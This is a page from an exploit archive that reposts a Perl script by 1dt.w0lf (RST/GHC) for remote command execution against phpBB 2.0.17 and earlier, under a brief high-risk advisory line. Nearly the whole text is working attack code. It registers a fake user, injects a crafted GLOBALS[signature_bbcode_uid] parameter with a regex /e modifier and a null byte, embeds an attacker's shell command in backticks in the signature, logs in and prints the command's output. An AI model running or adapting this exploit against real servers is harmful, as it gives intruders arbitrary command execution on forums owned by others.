exploits , vulnerabilities , articles , phpBB <= 2.0.17 "signature_bbcode_uid" Remote Command Execution Exploit

Rated as : High Risk 
Note : This vulnerability is currently being exploited in the wild

#!/usr/bin/perl

# phpBB <= 2.0.17 remote command execution exploit
# need for work: 
# 1. PHP 5 < 5.0.5
# 2. register_globals=On
# 3. magic_quotes off
# ------------------------------------------------
# (c)oded by 1dt.w0lf
# RST/GHC
# http://rst.void.ru
# http://ghc.ru
# 03.11.05

use LWP::UserAgent;
use HTTP::Cookies;

if(@ARGV < 2) { usage(); }

head();

$xpl = LWP::UserAgent->new() or die;
$cookie_jar = HTTP::Cookies->new();

for($i=0;$i<5;$i++)
{
$rand .= int(rand(9)); 
}

$name = 'r57phpBB2017xpl'.$rand;
$password = 'r57phpBB2017xpl'.$rand;
$path = $ARGV[0];
$cmd = $ARGV[1];
$xpl->cookie_jar( $cookie_jar );

$res = $xpl->post(
$path.'profile.php?GLOBALS[signature_bbcode_uid]=(.%2B)/e%00',

Content => [ 
'username' => $name,
'email' => $rand.'_bill_gates@microsoft.com',
'new_password' => $password,
'password_confirm' => $password,
'signature' => 'r57:`'.$cmd.'`',
'viewemail' => '0',
'hideonline' => '1',
'notifyreply' => '0',
'notifypm' => '0',
'popup_pm' => '0',
'attachsig' => '0',
'allowbbcode' => '1',
'allowhtml' => '1',
'allowsmilies' => '0',
'mode' => 'register',
'agreed' => 'true',
'coppa' => '0',
'submit' => 'Submit',
],
);

if($res->content =~ /form action=\"profile.php/) { print
"Failed to register user $name\r\n"; exit(); }
else { print "Done. User $name successfully registered!\r\n"; }

$res = $xpl->post(
$path.'login.php',
Content => [
'username' => $name,
'password' => $password,
'redirect' => '',
'login' => 'Log in',
],Referer => $path.'login.php');

$res = $xpl->get($path.'profile.php?mode=editprofile');
@content = split("\n",$res->content);
print
"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
for(@content)
{
if(/<\/textarea>/) { $p = 0; }
print $_."\r\n" if $p;
if(/<textarea name="signature"/){ $p = 1; }
}
print
"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";

sub head()
{
print
"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
print " PhpBB <= 2.0.17, PHP 5 < 5.0.5 remote command execution
exploit by RST/GHC\r\n"; 
print
"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
}

sub usage()
{
head();
print " Usage: r57phpBB2017.pl <path> <cmd>\r\n";
print " <path> - Path to forum e.g.
http://phpbb.com/forum/\r\n";
print " <cmd> - Command for execute\r\n";
print
"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
print "(c)oded by 1dt.w0lf , RST/GHC , http://rst.void.ru ,
http://ghc.ru\r\n";
print
"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
exit();
}
securitydot.net - 2005-12-24